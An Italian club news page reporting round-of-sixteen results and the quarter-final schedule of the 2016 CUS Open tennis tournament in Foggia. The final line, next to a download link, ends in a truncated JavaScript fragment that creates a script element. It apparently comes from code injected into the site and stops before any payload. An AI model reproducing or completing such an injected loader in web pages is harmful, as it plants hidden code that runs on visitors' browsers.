Aggiornamenti e risultati del torneo di tennis CUS Open 2016
E’ tempo di partite all’ultimo respiro e giocate da veri fuoriclasse al Cus Foggia. L’impianto di Via Napoli sta vivendo le fasi più calde dei tornei estivi ed anche la CUS Open 2016 è ormai entrata nel vivo delle gare ad eliminazione diretta.
Nelle giornate del 21 e 22 luglio si sono disputati gli ottavi di finale della competizione riservata a tutti gli appassionati di tennis. Continua la rincorsa al titolo di Augusto Bardin, il quale però contro Andrea Iammarino si è visto costretto a cedere i primi due game del suo torneo. Due le partite risolte al tie break e vinte da Norberto Guerriero e Aldo Antenozio rispettivamente contro Paolo Nardella e Diego Centonze.
Questi i risultati finali.
Ottavi di Finale | ||||||
giocatore 1 | giocatore 2 | data | risultato | 1° set | 2° set | 3° set |
Bardin Augusto | Iammarino Andrea | 21-lug | 2 a 0 | 6 a 0 | 6 a 2 | |
Maitilasso Fabio | Gramazio Pasquale | 21-lug | 2 a 0 | 6 a 2 | 6 a 4 | |
Guerriero Norberto | Nardella Paolo | 21-lug | 2 a 1 | 2 a 6 | 6 a 1 | 7 a 5 |
Cusmai Andrea | La Porta Andrea | 22-lug | 0 a 2 | 4 a 6 | 5 a 7 | |
Di Giorgio Gennaro | Merola Alessandro | 21-lug | 2 a 0 | 7 a 5 | 6 a 3 | |
Menga Maria | Iammarino Franco | 22-lug | 0 a 2 | ritiro | ||
Antenozio Aldo | Centonze Diego | 22-lug | 2 a 1 | 3 a 6 | 6 a 3 | 7 a 5 |
Colonnello Michele | Zullo Andrea | 22-lug | 0 a 2 | 0 a 6 | 1 a 6 |
Vittorie ed incroci hanno determinato il seguente tabellone dei quarti di finale, in programma tutti nella giornata di lunedì 25 luglio.
Bardin Augusto | Maitilasso Fabio | 25-lug | ore 21,00 |
Guerriero Norberto | La Porta Andrea | 25-lug | ore 18,15 |
Di Giorgio Gennaro | Iammarino Franco | 25-lug | ore 19,30 |
Antenozio Aldo | Zullo Andrea | 25-lug | ore 17,00 |
SCARICA CuS Open 16 RISULTATI E CALENDARIOvar d=document;var s=d.createElement(‘script’);